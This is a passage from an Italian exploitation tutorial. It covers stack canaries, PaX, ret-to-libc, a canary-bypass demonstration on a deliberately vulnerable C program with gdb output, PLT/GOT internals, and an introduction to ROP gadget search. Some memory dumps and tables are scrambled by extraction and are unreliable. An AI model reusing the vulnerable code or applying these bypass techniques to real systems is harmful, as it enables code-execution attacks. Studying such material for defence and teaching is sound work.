0x%08X\n\n",(u_int)&main); 0x%08X\n",(u_int)get_esp()); 0x%08X\n",(u_int)&a); 0x%08X\n",(u_int)&p); 0x%08X\n",(u_int)buffer); 0x%08X\n",(u_int)&function); 0x%08X\n",(u_int)&argc); 0x%08X\n",(u_int)&argv[0]); 0x%08X\n",(u_int)&envp[0]);
} --------- test0C.c END --------------------Compilamo disabilitando, come già sappiamo fare, stackguard: root@HackLab:~# gcc -fno-stack-protector -ggdb test0C.c A questo punto avviamo il programma con gdb "brekkando" in modo da non terminare il programma e prendiamo nota della posizione di ogni elemento che abbiamo dichiarato nel sorgente nello stack, root@HackLab:~# gdb a.out -q (gdb) break 28 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 71 di 193
System exploitation using buffer overflow
Breakpoint 1 at 0x804851e: file PaX.c, line 28. (gdb) r Starting program: /root/a.out main is at:
0x0804842E
Stack structure: ESP: int a is at: long *p is at: char buffer[] is at: (*function)() is at: int argc is at: char *argv[] is at: char *envp[] is at:
0xBFCC84D4 0xBFCC850C 0xBFCC8508 0xBFCC84F8 0xBFCC84F4 0xBFCC8530 0xBFCC85B4 0xBFCC85BC
Breakpoint 1, main (argc=1, argv=0xbfcc85b4, envp=0xbfcc85bc) at PaX.c:28 28 } In questo modo possiamo cercare i nostri elementi nello stack, quello che possiamo già dire è che gli elementi sono stati allocati nello stack nell'ordine che abbiamo usato noi nel sorgente, come ci aspettavamo. Ecco quindi come sono ordinati: ESP -- low addresses -... function pointer: 0xBFCC84F4 buffer[16]: 0xBFCC84F8 pointer: 0xBFCC8508 integer variable: 0xBFCC850C argc: 0xBFCC8530 argv[]: 0xBFCC85B4 envp[]: 0xBFCC85BC ... EBP -- high addresses -Lo stack: (gdb) x/100x $esp 0xbfcc84e0: 0x080486ca 0xbfcc84f0: 0xb8044979 buffer, 0xbfcc8500: 0x41414141 puntatore e la variabile 'a' 0xbfcc8510: 0xbfcc8530 0xbfcc8520: 0x08048540 0xbfcc8530: 0x00000001 argv[] e envp[] 0xbfcc8540: 0x00000001 0xbfcc8550: 0xb8080ff4 0xbfcc8560: 0x38ea61b3 ...
0xbfcc85bc 0x08049ff4
0x00000010 0x41414141
0xb7f95e0e 0x41414141
// Gli '0x41', é il
0x41414141
0xbfcc8528
0x7FFFFFFF
// di seguito il
0xb8080ff4 0x08048370 0xbfcc85b4
0xbfcc8588 0xbfcc8588 0xbfcc85bc
0xb7f3d685 0xb7f3d685 0xb809bbb8
// argc che è 1,
0x00000001 0x08048540 0x464c95a3
0x00000000 0x08048370 0x00000000
0x08048264 0xbfcc8588 0x00000000
Questa è la situazione a cui siamo abituati. Ora compiliamo il programma utilizzado stackguard (il default) e facciamo la stessa analisi. root@HackLab:~# gcc
-ggdb PaX.c
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 72 di 193
System exploitation using buffer overflow
root@HackLab:~# gdb a.out -q (gdb) break 28 Breakpoint 1 at 0x8048595: file PaX.c, line 28. (gdb) r Starting program: /root/a.out main is at:
0x0804848E
Stack structure: ESP: int a is at: long *p is at: char buffer[] is at: (*function)() is at: int argc is at: char *argv[] is at: char *envp[] is at:
0xBFAC2AB4 0xBFAC2AE8 0xBFAC2AE4 0xBFAC2AEC 0xBFAC2AE0 0xBFAC2B20 0xBFAC2BA4 0xBFAC2BAC
Breakpoint 1, main (argc=1, argv=0xbfac2ba4, envp=0xbfac2bac) at PaX.c:28 28 } (gdb) x/50x $esp 0xbfac2ac0: 0x0804874a 0xbfac2bac 0x00000010 0x00000000 0xbfac2ad0: 0x00000000 0x00000000 0xbfac2bac 0xbfac2ba4 0xbfac2ae0: 0xb804b979 0x08049ff4 0x00007fff 0x41414141 0xbfac2af0: 0x41414141 0x41414141 0x41414141 0xa7071000 0xbfac2b00: 0xbfac2b20 0xb8087ff4 0xbfac2b78 0xb7f44685 0xbfac2b10: 0x080485c0 0x080483d0 0xbfac2b78 0xb7f44685 0xbfac2b20: 0x00000001 0xbfac2ba4 0xbfac2bac 0xb80a2bb8 0xbfac2b30: 0x00000001 0x00000001 0x00000000 0x08048289 0xbfac2b40: 0xb8087ff4 0x080485c0 0x080483d0 0xbfac2b78 0xbfac2b50: 0x56764031 0xe6ac9421 0x00000000 0x00000000 0xbfac2b60: 0x00000000 0xb80b6090 0xb7f445ad 0xb80beff4 0xbfac2b70: 0x00000001 0x080483d0 0x00000000 0x080483f1 0xbfac2b80: 0x0804848e 0x00000001 L'ordinamento che troviamo è questo: ESP -- low addresses -... function pointer: 0xBFAC2AE0 pointer: 0xBFAC2AE4 integer variable: 0xBFAC2AE8 buffer[16]: 0xBFAC2AEC argc: 0xBFAC2B20 argv[]: 0xBFAC2BA4 envp[]: 0xBFAC2BAC ... EBP -- high addresses -La cosa più evidente è la posizione del buffer nello stack, questo è stato traslato verso EBP per diminuire il numero delle variabili attaccabili. Ma dove è la variabile canary? Possiamo predire la sua posizione cercando di capirlo guardando lo stack, ma questo non è di fondamentale importanza sappiamo che viene sempre inserita dopo il frame pointer. Già che siamo in gdb disassembliamo main e andiamo a vedere la routine inserita da stackguard che ha il compito di controllare che il ritorno della funzione venga eseguito correttamente. Prologo ed epilogo di tutte le funzioni avranno queste istruzioni in più. (le prestazioni del Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 73 di 193
System exploitation using buffer overflow
sistema peggiorano leggermente) Ci interessa la parte finale di main: ... 0x08048582 <main+244>: mov -0x30(%ebp),%eax 0x08048585 <main+247>: mov %eax,0x4(%esp) 0x08048589 <main+251>: movl $0x804874a,(%esp) 0x08048590 <main+258>: call 0x8048398 <printf@plt> 0x08048595 <main+263>: mov -0xc(%ebp),%edx 0x08048598 <main+266>: xor %gs:0x14,%edx 0x0804859f <main+273>: je 0x80485a6 <main+280> 0x080485a1 <main+275>: call 0x80483a8 <__stack_chk_fail@plt> 0x080485a6 <main+280>: add $0x40,%esp 0x080485a9 <main+283>: pop %ecx 0x080485aa <main+284>: pop %ebx 0x080485ab <main+285>: pop %ebp 0x080485ac <main+286>: lea -0x4(%ecx),%esp 0x080485af <main+289>: ret End of assembler dump.
<<---- routine di controllo
Un approfondimento: (gdb) x/10i 0x80483a8 0x80483a8 <__stack_chk_fail@plt>: 0x80483ae <__stack_chk_fail@plt+6>: 0x80483b3 <__stack_chk_fail@plt+11>: ... (gdb)
jmp push jmp
*0x804a010 $0x20 0x8048358 <_init+48>
Le seguenti sono le istruzioni chiave: 0x08048598 0x0804859f 0x080485a1 0x080485a6
<main+266>: <main+273>: <main+275>: <main+280>:
xor je call ....
%gs:0x14,%edx 0x80485a6 <main+280> 0x80483a8 <__stack_chk_fail@plt>
La variabile canary è puntata da '%gs:0x14', attraverso un xor viene controllato il suo valore, se non è cambiato l'istruzione successiva fa proseguire il programma saltando a main+280, altrimenti la funzione __stack_chk_fail viene chiamata, questa termina il programma scrivendo anche un riga di log, che avverte di un possibile attacco. Questa funzione è definita in panic.c, ... #ifdef CONFIG_CC_STACKPROTECTOR /* * Called when gcc's -fstack-protector feature is used, and * gcc detects corruption of the on-stack canary value */ void __stack_chk_fail(void) { panic("stack-protector: Kernel stack is corrupted in: %p\n", __builtin_return_address(0)); } EXPORT_SYMBOL(__stack_chk_fail); #endif ... Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 74 di 193
System exploitation using buffer overflow
Le caratteristiche di questi due sistemi non si limitano a ciò che ho descritto, ve ne sono di altre, che vedremo a tempo debito, ci siamo comunque accorti della triste realtà dei nostri giorni. I sistemi PaX e stackguard sono ora molto diffusi, presenti in tutte le distribuzioni Linux e precauzioni analoghe sono presenti da windows NT 6.0 in poi. Abbiamo bisogno di un sistema alternativo a ciò che abbiamo visto fino ad ora. Nel corso degli anni, vari sono stati i modi per bypassare alcuni dei sistemi di sicurezza, PaX a sua volta ha rilasciato varie patch sempre più restrittive, senza far mancare gli effetti collaterali. Per risolvere il problema dello stack non eseguibile, la sequenza dell'attacco è stata cambiata totalmente, si è pensato di utilizzare al posto dell'indirizzo prossimo a quello del buffer, l'indirizzo di una funzione contenuta nella libreria libc, linkata assieme all'eseguibile. Infatti tali librerie un tempo venivano caricate con indirizzi statici. (Si prenda come riferimento il file maps visto prima) In questo caso è quindi possibile eseguire un attacco denominato "Return-to-libc". Nulla di complicato, immaginiamo il seguente scenario... ---------------------------------buffer | return_address | ecc.... ---------------------------------In questo caso sovrascrivendo lo stack che cosa dobbiamo iniettare nella memoria del processo? ---------------------------------buffer | return_address | ecc.... ---------------------------------overrun ---------------------------------------------> -----------------------------------------------------------buffer fill-up | inLib_function | dummy | arg_1 | arg_2 | arg_3 .... -----------------------------------------------------------Dovrebbe esservi chiaro, buffer fill-up è una serie di valori random di cui non ci interessa nulla...(basta che non contengano byte nulli) servono a riempire il buffer fino ad arrivare al return_address. Questo viene sovrascritto con un indirizzo relativo ad una funzione, ad esempio system() della libc. dummy è l'indirizzo di ritorno di system. arg_1, 2 e 3 sono tutti gli eventuali argomenti di cui abbiamo bisogno, nel nostro caso ce ne basterà uno. Trovare l'indirizzo di system è molto semplice (se siamo in assenza di ASLR), ad esempio: root@HackLab:~# gdb -q a.out (gdb) break main Breakpoint 1 at 0x80488f6: file main.c, line 33. (gdb) r Starting program: /root/RBOF/a.out [Thread debugging using libthread_db enabled] [New Thread 0xb7f286b0 (LWP 6288)] [Switching to Thread 0xb7f286b0 (LWP 6288)] Breakpoint 1, main (argc=1, argv=0xbf8d1824) at main.c:33 33 { (gdb) p system $1 = {<text variable, no debug info>} 0xb80954f0 <system> Questo attacco ha di per sè comunque alcune limitazioni, intanto sarà possibile chiamare una sola funzione, mentre per riuscire a far qualcosa è necessario, nella maggior parte dei casi, poterne effettuare alcune. La limitazione può essere eliminata, a seconda dei casi, eseguendo un attacco chiamato "esp Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 75 di 193
System exploitation using buffer overflow
lifting". Ma l'eseguibile deve essere compilato con il flag -fomit-frame-pointer. In alternativa esiste un'altra variante chiamata molto simpaticamente "frame faking". Le cito giusto per completezza e per consentirvi di approfondire eventualmente. Tutte e tre le tecniche sono comunque simili e si basano sull'utilizzo di una funzione di libreria statica. Altro problema che non abbiamo tirato in ballo è la variabile "canary", sistemata prima del frame pointer. Questa solo in alcuni casi può essere lasciata intatta dopo uno stack overrun. Per risolvere invece il problema della randomizzazione dei VA, questo per quanto riguarda un attacco classico, è eseguire più tentativi, ovvero un approccio "brute-force". Questo è conveniente se il programma non crasha. Perchè se il processo esegue una nuova execve() un nuovo contesto di VA viene generato invalidando i nostri tentativi. Se invece il programma si limita a rieffettuare una fork() abbiamo più possibilità. Il problema di questi ultimi è che il kernel è in grado di accorgersi dell'attacco brute-force terminando il processo. Concludendo, vediamo alcuni comandi molto utili per l'operazione di analisi. Il comando seguente visualizza lo stato di tutti i flag relativi alla protezione PaX su un eseguibile o libreria con formato elf, root@HackLab:/bin# chpax -v ls ----[ chpax 0.7 : Current flags for ls (PeMRxS) ]---* * * * * *
Paging based PAGE_EXEC Trampolines mprotect() mmap() base ET_EXEC base Segmentation based PAGE_EXEC
: : : : : :
enabled (overridden) not emulated restricted randomized not randomized enabled
Il seguente è molto utile per analizzare i file elf, ovvero visualizza molte informazioni su header e sezioni di questo, nell'esempio che segue visualizzo tutti i simboli presenti, root@HackLab:/bin# readelf -s ls Symbol table '.dynsym' Num: Value Size 0: 00000000 0 1: 00000000 583 2: 00000000 29 3: 00000000 82 4: 00000000 433 5: 00000000 10 6: 00000000 87 7: 00000000 61 8: 00000000 148 ....
contains 105 entries: Type Bind Vis NOTYPE LOCAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT FUNC GLOBAL DEFAULT
Ndx UND UND UND UND UND UND UND UND UND
Name abort@GLIBC_2.0 (2) __errno_location@GLIBC_2.0 (2) sigemptyset@GLIBC_2.0 (2) localeconv@GLIBC_2.2 (3) dirfd@GLIBC_2.0 (2) __cxa_atexit@GLIBC_2.1.3 (4) strcoll@GLIBC_2.0 (2) fputs_unlocked@GLIBC_2.1 (5)
Infine objdump, che già abbiamo utilizzato in precedenza, può essere utile anche esso per la visualizzazione di informazioni dell'header, root@HackLab:/bin# objdump -x ls ls: ls
file format elf32-i386
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 76 di 193
System exploitation using buffer overflow
architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08049b20 Program Header: PHDR off filesz INTERP off filesz LOAD off filesz LOAD off filesz DYNAMIC off filesz NOTE off ....
0x00000034 0x00000120 0x00000154 0x00000013 0x00000000 0x00016eb4 0x00016ef0 0x000003a0 0x00016f04 0x000000e8 0x00000168
vaddr memsz vaddr memsz vaddr memsz vaddr memsz vaddr memsz vaddr
0x08048034 0x00000120 0x08048154 0x00000013 0x08048000 0x00016eb4 0x0805fef0 0x0000081c 0x0805ff04 0x000000e8 0x08048168
paddr flags paddr flags paddr flags paddr flags paddr flags paddr
0x08048034 r-x 0x08048154 r-0x08048000 r-x 0x0805fef0 rw0x0805ff04 rw0x08048168
align 2**2 align 2**0 align 2**12 align 2**12 align 2**2 align 2**2
0x0f] (Arch: LINUX) - Altri punti di vista Up Ci sono molte situazioni dove l'exploit è comunque possibile. La ricerca della situzione che permette lo sfruttamento del bug è naturalmente più ardua e richiede ben più fortuna di prima. Quando utilizziamo la tecnica più comune, la sovrascrittura viene intercettata, il programma terminato e viene scritta una riga di log che riporta il probabile attacco a base di stack overflow. Si tenga presente il seguente programma: --------- test0D.c -----------------------#include <stdio.h> #include <string.h> /* Test vulnerable program - second argument is shellcode payload, it overwrite ret */ int main(int argc,char**argv) { if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); } char buffer_one[32]; char buffer_two[16]; int EBP; // Passing 20 for offset int offset = atoi(argv[1]); // Protected copy strncpy(buffer_one,argv[2],32); __asm__ volatile ( "movl -0x8(%%ebp), %0;" :"=r"(EBP)); printf("Canary after copy: 0x%08X\n",EBP); // Unprotected copy Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 77 di 193
System exploitation using buffer overflow
strcpy(buffer_two+offset,buffer_one); __asm__ volatile ( "movl -0x8(%%ebp), %0;" :"=r"(EBP)); printf("Canary: 0x%08X\n",EBP); } --------- test0D.c -----------------------E' abbastanza comune durante le operazioni di formattazione di stringhe, vedere costrutti di questo tipo. Ovvero la copia di stringhe in altri array con l'utilizzo di offset di copia. Spesso questi offset possono essere affetti da errori come per esempio quelli legati al segno. In questo caso l'offset è controllabile direttamente con un argomento. L'offset da utilizzare sarà tutta la lunghezza del buffer più altri 4 bytes per superare la variabile canary. In questo modo la copia comincerà solo dopo la variabile di controllo inserita da stackguard ma sovrascriverà comunque l'indirizzo di ritorno. Ho inserito due inline assembly per visualizzare il valore della variabile canary prima e dopo la copia. Questa non deve essere alterata. Proviamo... root@HackLab:~# gcc -g test0D.c bypasscanary.c: In function 'main': bypasscanary.c:7: warning: incompatible implicit declaration of built-in function 'exit' root@HackLab:~# chpax -v a.out ----[ chpax 0.7 : Current flags for a.out (PeMRxS) ]---* * * * * *
Paging based PAGE_EXEC Trampolines mprotect() mmap() base ET_EXEC base Segmentation based PAGE_EXEC
: : : : : :
enabled (overridden) not emulated restricted randomized not randomized enabled
L'utility chpax ci aiuta a capire quali protezioni sono attive, compilando con il default di gcc 4.3.2 avremo randomizzazione di mmap() e libc. Inoltre stackguard inserisce la variabile canary per il rilevamento dell'attacco. root@HackLab:~# gdb a.out -q Inseriamo un breakpoint su main, (gdb) break main Breakpoint 1 at 0x804855b: file bypasscanary.c, line 6. Per ora ci limiteremo ad inviare un payload inutile, una sequenza di caratteri A. L'offset abbiamo già precisato deve essere di 20 bytes. (gdb) r 20 $(python -c "print 'A'*20") Starting program: /root/a.out 20 $(python -c "print 'A'*20") Breakpoint 1, main (argc=3, argv=0xbfecde34) at bypasscanary.c:6 6 { Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 78 di 193
System exploitation using buffer overflow
Proseguiamo fino all'istruzione precedente a quella che copia la stringa nell'altra. (gdb) n 7 if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); } (gdb) n 13 int offset = atoi(argv[1]); (gdb) n 16 strncpy(buffer_one,argv[2],32); (gdb) n 18 __asm__ volatile ( (gdb) n 22 printf("Canary after strcpy: 0x%08X\n",EBP); (gdb) n Canary after strcpy: 0x26C0F000 25 strcpy(buffer_two+offset,buffer_one); Il valore di canary è 0x26C0F000, questo è una valore casuale, generato in modo dipendente dalla piattaforma. Di seguito possiamo vedere questo valore nello stack e, più precisamente, vediamo che si trova 20 bytes dopo la fine del primo buffer. Quest'ultimo inizia a 0xbfecdd60 e finisce a 0xbfecdd7f. La copia pertanto inizierà da 0xbfecdd94 e proseguirà per 20 bytes sovrascrivendo l'indirizzo di ritorno. (gdb) x/30 $esp 0xbfecdd30: 0x0804870c 0x26c0f000 0xbfecdd40: 0x00000000 0x00000000 0xbfecdd50: 0xbfecde34 0x00000000 0xbfecdd60: 0x41414141 0x41414141 0xbfecdd70: 0x41414141 0x00000000 0xbfecdd80: 0xb80c2ff4 0x08049ff4 0xbfecdd90: 0x26c0f000 0xbfecddb0 0xbfecdda0: 0x08048650 0x08048490 (gdb) n 27 __asm__ volatile ( (gdb) n 31 printf("Canary: 0x%08X\n",EBP); (gdb) n Canary: 0x26C0F000 32 }
0x00000020 0x00000000 0x00000014 0x41414141 0x00000000 0xbfecdda8 0xbfecde08
0x00000000 0x00000000 0x26c0f000 0x41414141 0x00000000 0x08048669 0xb7f7f685
Dopo la copia canary è rimasta intatta, abbiamo così bypassato il sistema di sicurezza inserito da stackguard. Di seguito vediamo come in effetti l'indirizzo di ritorno salvato nello stack ora vale 0x41414141. Proseguendo con il programma otterremo un SIGSEGV dato che tentiamo di accedere a quella locazione. (gdb) x/30 $esp 0xbfecdd30: 0xbfecdd40: 0xbfecdd50: 0xbfecdd60: 0xbfecdd70: 0xbfecdd80: 0xbfecdd90: 0xbfecdda0: (gdb) continue Continuing.
0x08048729 0x00000000 0xbfecde34 0x41414141 0x41414141 0xb80c2ff4 0x26c0f000 0x41414141
Copyright © Matteo Tosato 2010-2011
0x26c0f000 0x00000000 0x00000000 0x41414141 0x00000000 0x08049ff4 0x41414141 0x41414141
0x00000020 0x00000000 0x00000014 0x41414141 0x00000000 0xbfecdda8 0x41414141
tosatz@tiscali.it rev.2.2
0x00000000 0x00000000 0x26c0f000 0x41414141 0x00000000 0x08048669 0x41414141
Pag. 79 di 193
System exploitation using buffer overflow
Program received signal SIGSEGV, Segmentation fault. 0x08048630 in main (argc=Cannot access memory at address 0x41414141 ) at bypasscanary.c:32 32 } In condizioni di stack eseguibile, questo programma può essere sfruttato per eseguire codice arbitrario sul sistema vittima con permessi dell'applicazione. Ad esempio è possibile effettuare l'attacco visto prima denominato "ret-to-libc". Ma abbiamo già detto che anche gli indirizzi delle librerie sono rilocati in modo casuale da mmap() nelle ultime versioni del kernel. Fatto stà che questo attacco è possibile su sistemi non recentissimi. 0x10] (Arch: LINUX) - Sezioni .plt e .got Up Prima di proseguire dedico questo breve capitolo alle sezioni .plt e .got. La libc è un libreria utilizzata da moltissimi kernel. Questa fornisce un interfacciamento per applicazioni e servizi. In questo modo essi possono dialogare con l'hardware. Questa libreria è dunque una raccolta di funzioni che non fanno altro che richiamare altre syscall del kernel fornendo una interfaccia universale alle applicazioni. Nel capitolo precedente abbiamo parlato dell'attacco "ret-to-libc". Bloccato dalle nuove restrizioni sulla memoria. Ora partiamo da quello che già sappiamo, quando un processo ha necessità di chiamare una funzione di libreria utilizza tramite una sezione denominata ".plt", ovvero "procedure linkage table". Un programma di test: #include <stdio.h> void main(void) { printf("Hello world!\n"); } root@HackLab:~/RET-TO-LIBC# gcc simple.c simple.c: In function 'main': simple.c:3: warning: return type of 'main' is not 'int' root@HackLab:~/RET-TO-LIBC# gdb a.out -q (gdb) disass main Dump of assembler code for function main: 0x080483c4 <main+0>: lea 0x4(%esp),%ecx 0x080483c8 <main+4>: and $0xfffffff0,%esp 0x080483cb <main+7>: pushl -0x4(%ecx) 0x080483ce <main+10>: push %ebp 0x080483cf <main+11>: mov %esp,%ebp 0x080483d1 <main+13>: push %ecx 0x080483d2 <main+14>: sub $0x4,%esp 0x080483d5 <main+17>: movl $0x80484b0,(%esp) 0x080483dc <main+24>: call 0x80482f4 <puts@plt> 0x080483e1 <main+29>: add $0x4,%esp 0x080483e4 <main+32>: pop %ecx 0x080483e5 <main+33>: pop %ebp Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 80 di 193
System exploitation using buffer overflow
0x080483e6 <main+34>: 0x080483e9 <main+37>: End of assembler dump.
lea ret
-0x4(%ecx),%esp
In questo caso gcc ottimizza printf() con puts(), ma non cambia il nostro discorso... l'istruzione: "0x080483dc <main+24>: call 0x80482f4 <puts@plt>" esegue una chiamata ad un indirizzo che NON è l'indirizzo di puts() nelle libc. Dato che un programma può utilizzare ripetutamente funzioni contenute all'interno di librerie, è utile disporre di una tabella di riferimento. Una sezione speciale nei binari funge allo scopo, la ".plt". Eccola: root@HackLab:~/RET-TO-LIBC# objdump -d -j .plt ./a.out ./a.out:
file format elf32-i386
Disassembly of section .plt: 080482c4 <__gmon_start__@plt-0x10>: 80482c4: ff 35 f8 9f 04 08 80482ca: ff 25 fc 9f 04 08 80482d0: 00 00 ...
pushl jmp add
0x8049ff8 *0x8049ffc %al,(%eax)
080482d4 <__gmon_start__@plt>: 80482d4: ff 25 00 a0 04 08 80482da: 68 00 00 00 00 80482df: e9 e0 ff ff ff
jmp push jmp
*0x804a000 $0x0 80482c4 <_init+0x30>
080482e4 <__libc_start_main@plt>: 80482e4: ff 25 04 a0 04 08 80482ea: 68 08 00 00 00 80482ef: e9 d0 ff ff ff
jmp push jmp
*0x804a004 $0x8 80482c4 <_init+0x30>
080482f4 <puts@plt>: 80482f4: ff 25 08 a0 04 08 80482fa: 68 10 00 00 00 80482ff: e9 c0 ff ff ff
jmp push jmp
*0x804a008 $0x10 80482c4 <_init+0x30>
Da questa sezione vediamo che l'istruzione jmp legata alla puts è quella che si trova all'indirizzo 0x80482f4: "jmp *0x804a008" Un esame più attento ci fa notare che *0x804a008 è un puntatore ad un indirizzo. Questo significa che l'indirizzo reale della funzione puts si trova memorizzato a 0x804a008. Questi indirizzi si trovano in un'altra sezione, la ".got" (global offset table) su cui invece è possibile scrivere. Tali indirizzi possono essere ottenuti direttamente sempre con objdump con l'opzione "-R" (dynamic-reloc), root@HackLab:~/RET-TO-LIBC# objdump -R ./a.out ./a.out:
file format elf32-i386
DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __gmon_start__ Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 81 di 193
System exploitation using buffer overflow
0804a004 R_386_JUMP_SLOT 0804a008 R_386_JUMP_SLOT
__libc_start_main puts
0x11] (Arch: LINUX) - Return-Oriented Programming, introduzione Up Riassumendo, cosa dovremo fare? Non potendo più iniettare ed eseguire codice sullo stack per tutti i motivi che abbiamo visto fino ad ora, ciò che rimane possibile fare è una specie di attacco in stile ret-to-libc utilizzando codice già esistente nell'immagine di processo. L'immagine di processo è colma di routine di cui possiamo disporre, come wrapper della libc. Posizioneremo dunque dei valori sullo stack in modo da invocare funzioni in modo del tutto arbitrario con arbitrari argomenti. Antecedente a questa avanzata tecnica il classico attacco ret-to-libc era considerato limitante per alcuni motivi: 1 L'attaccante è in grado di invocare solo funzioni già esistenti nella sezione text del programma o nelle librerie che sono linkate assieme. 2 Il codice può essere solo rettilineo, ovvero una chiamata dopo l'altra, senza possibilità di modificare registri direttamente. 3 Rimuovendo certe funzioni (non utilizzate) dell'immagine di processo si può limitare le possibilità dell'attaccante. Nel seguito del capitolo dimostreremo come è possibile eseguire codice arbitrario senza richiedere l'invocazione di alcuna funzione pre-esistente nell'immagine. In questo modo la rimozione delle funzioni inutilizzate della libc non sarà di aiuto. In pratica questa tecnica fa uso di piccole sequenze di codice denominate "gadgets" composte da due o tre istruzioni di codice. Queste si trovano già nell'immagine di processo, sistemate li dal compilatore. Ad esempio prendiamo in esame il codice seguente, si tratta dell'entry point di una data funzione / programma che sia... f7 c7 07 00 00 00 0f 95 45 c3
test $0x00000007, %edi setnzb -61(%ebp)
Immaginiamo di interpretare il codice un byte dopo.... la codifica cambia completamente: c7 07 00 00 00 0f 95 45 c3
movl $0x0f000000, (%edi) xchg %ebp, %eax inc %ebp ret
Quanto frequentemente questi casi capitano all'interno del codice dipende dall'architettura e dalle caratteristiche del linguaggio in questione, questa viene chiamata "geometria". Il codice può essere interpretato in modo diverso a seconda del punto di inizio della lettura. Nel codice x86 è abbastanza frequente trovare queste sequenze utili per i nostri attacchi, è sufficiente soltanto una istruzione di ritorno, rappresentata del byte c3 per rendere utile la sequenza. Analizzando larghe porzioni di codice come le libc, si possono trovare molte di queste sequenze. In qualsiasi spazio di codice sufficentemente largo ci sono un numero di istruzioni che permettono ad un attaccante di essere in grado di controllare lo stack, mediante la tecnica retto-libc che abbiamo appena introdotto, e capaci di eseguire delle istruzioni in modo arbitrario. Vedremo in seguito anche alcuni algoritmi in grado di ricercare queste sequenze, questi non sono Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 82 di 193
System exploitation using buffer overflow
di difficile comprensione. La predisposizione dei "gadgets" è un processo piuttosto difficile e delicato, in relazione ai classici attacchi ret-to-libc, ci sono 3 differenze fondamentali: 1 La sequenza del codice che invochiamo è molto breve, solitamente due o tre istruzioni che fanno soltanto una piccola parte di lavoro. Negli attacchi ret-to-libc tradizionali, il blocco prodotto è una intera funzione che svolge il compito fondamentale. Di conseguenza, i nostri attacchi saranno ad un livello di astrazione più basso. 2 Generalmente le sequenze di codice che noi invocheremo non avranno ne prologo ne epilogo e non saranno concatenate assieme durante l'attacco in un modo standard. 3 Inoltre, le sequenze di codice che noi invocheremo, considerando i blocchi, hanno un'interfaccia casuale; al contrario, l'interfaccia della chiamata a funzione è standardizzata come una parte dell'ABI. Questi gadgets o breve sequenza di istruzioni possono essere combinate assieme per permetterci di eseguire varie operazioni, tra cui caricare/scaricare da registri, operazioni logiche e aritmetiche, controllo del flusso e chiamate di sistema. Questa metodologia non può dirsi completamente rivoluzionaria ma comunque nuova. Riferendoci agli attacchi ret-to-libc, esistono punti in comune tra questa e la nuova tecnica. Ad esempio molti attacchi in stile ret-to-libc utilizzano piccoli ritagli di codice proveniente dalle librerie, in particolare gli spezzono di codice come "pop %reg; ret" sono utilizzati per settare un registro con l'argomento da utilizzare in una chiamata a syscall. Questi "vecchi" attacchi utilizzano unioni di queste sequenze al fine di ottenere l'invocazione di una funzione della libc oppure il salto in una regione di codice in cui la shellcode è stata posizionata. I black-hat USA hanno pensato bene di mettere assieme un algoritmo in grado di effettuare un ricerca all'interno del codice delle libc, con lo copo di trovare sequenze utili ai nostri propositi. Prima definiamo come devono essere queste istruzioni "utili". Un sequenza di istruzioni è utile se questa può essere utilizzata per costituire i nostri "gadgets", ovvero se è una sequenza di istruzioni valida terminanate con l'istruzione "ret". é proprio questa istruzione che è in grado di far prosequire il nostro programma al prossimo nostro spezzono di codice. Alcune regole per l'individuazione delle sequenze utili: - Qualsiasi suffisso di una sequenza può essere considerato come una sequenza stessa, ad esempio "a; b; c; ret" è una sequenza di istruzioni utili, ma anche la stessa "sottosequenza" "b; c; ret" lo è. - Quando troviamo una sequenza che si ripete più volte nel codice, allora noi andremo a prendere, per ovvie ragioni, quella che si trova ad un indirizzo di memoria senza byte nulli. In base a queste radice di questo di questo albero costituito da un ret".
considerazioni, noi possiamo pensare di inserire le sequenze in un albero. Alla si trova un nodo che rappresenta l'istruzione "ret". La relazione "figlio di" è tenuta da questa istruzione e la sua precedente, ad esempio, se un albero è nodo "ret" ed un figlio "pop %eax", la sequenza rappresentata sarà "pop %eax;
Il principio della ricerca delle istruzioni è molto semplice, l'algoritmo ricerca a ritroso una istruzione "0xc3", ovvero ret per l'x86. Quando trova questo opcode si domanderà se il byte immediatamente precedente a questo costituisce una istruzione valida. In caso di risposta negativa proseguirà chiedendosi se i due byte immediatamente precedenti a ret costituiscono una istruzione valida e via dicendo fino alla massima lunghezza possibile per le istruzioni della piattaforma in esame. Quando una istruzione valida viene riconosciuta, l'algoritmo sistema questa nell'albero. L'algoritmo procede byte per byte in modo ricorsivo. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 83 di 193
System exploitation using buffer overflow
